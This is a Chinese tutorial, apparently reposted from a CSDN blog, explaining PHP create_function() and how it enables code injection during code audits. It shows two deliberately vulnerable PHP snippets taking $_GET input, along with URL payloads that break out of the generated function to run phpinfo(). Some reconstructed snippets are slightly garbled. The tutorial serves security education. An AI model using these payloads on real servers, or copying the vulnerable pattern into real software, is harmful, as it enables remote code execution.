PHP create_function()函数应用实例详解

吾爱主题 阅读:339 2022-11-23 13:44:00 评论:0

前言

一直遇到过这个 函数,但是不知道怎么利用 这回学习一下这个函数

create_function()简介

适用 PHP4>4.0.1 PHP 5 PHP7

语法:
create_function(string $args,  string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

函数功能

?
1 2 3 4 5 <?php $newfunc = create_function( '$a,$b' , 'return "ln($a) + ln($b) = " . log($a * $b);' ); echo "New anonymous function: $newfunc\n" ; echo $newfunc (2, M_E) . "\n" ; ?>

分析:

create_function() 会创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。

create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置

因此,上述匿名函数的创建与执行过程等价于:

?
1 2 3 4 5 <?php function lambda_1( $a , $b ){      return "ln($a) + ln($b) = " . log( $a * $b ); } ?>

create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷

代码注入实例

0x01

?
1 2 3 4 5 6 7 8 <?php error_reporting (0); $sort_by = $_GET [ 'sort_by' ]; $sorter = 'strnatcasecmp' ; $databases = array ( '1234' , '4321' ); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);' ; usort( $databases , create_function( '$a, $b' , $sort_function )); ?>

payload:

?
1 http: //localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

还原实际的组合过程:

?
1 $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

?
1 2 3 function niming( $a , $b ){ return 1 * ' . $sorter . ' ( $a [ "' . $sort_by '" ]);}phpinfo();/* }

$sort_by 是我们传入的值。

回车换行整理一下:

?
1 2 3 4 5 function niming( $a , $b ){ return 1 * ' . $sorter . ' ( $a [ "' . $sort_by '" ]); } phpinfo();/* }

0x02

?
1 2 3 4 5 6 7 <?php $c = $_GET [ 'c' ]; $lambda =create_function( '$a,$b' , "return (strlen($a)-strlen($b)+" . "strlen($c));" ); $array = array ( 'reall long string here,boy' , 'this' , 'midding lenth' , 'larget' ); usort( $array , $lambda ); print_r( $array ); ?>

payload:

?
1 http: //localhost/test2.php?c=1));}phpinfo();/*

还原实际的组合过程:

?
1 $lambda =create_function( '$a,$b' , "return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));" );

匿名函数实际的执行:

?
1 2 3 function ft( $a , $b ){     return ( strlen ( $a )- strlen ( $b )+ " . " strlen (1));}phpinfo();/*)); }

换行整理:

?
1 2 3 4 5 6 function ft( $a , $b ){     return ( strlen ( $a )- strlen ( $b )+ " . " strlen (1));     }     phpinfo();     /*)); }

到此这篇关于PHP create_function()函数应用实例详解的文章就介绍到这了,更多相关PHP create_function()函数内容请搜索服务器之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持服务器之家!

原文链接:https://blog.csdn.net/snowlyzz/article/details/127171931

可以去百度分享获取分享代码输入这里。
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

【腾讯云】云服务器产品特惠热卖中
搜索
标签列表
    关注我们

    了解等多精彩内容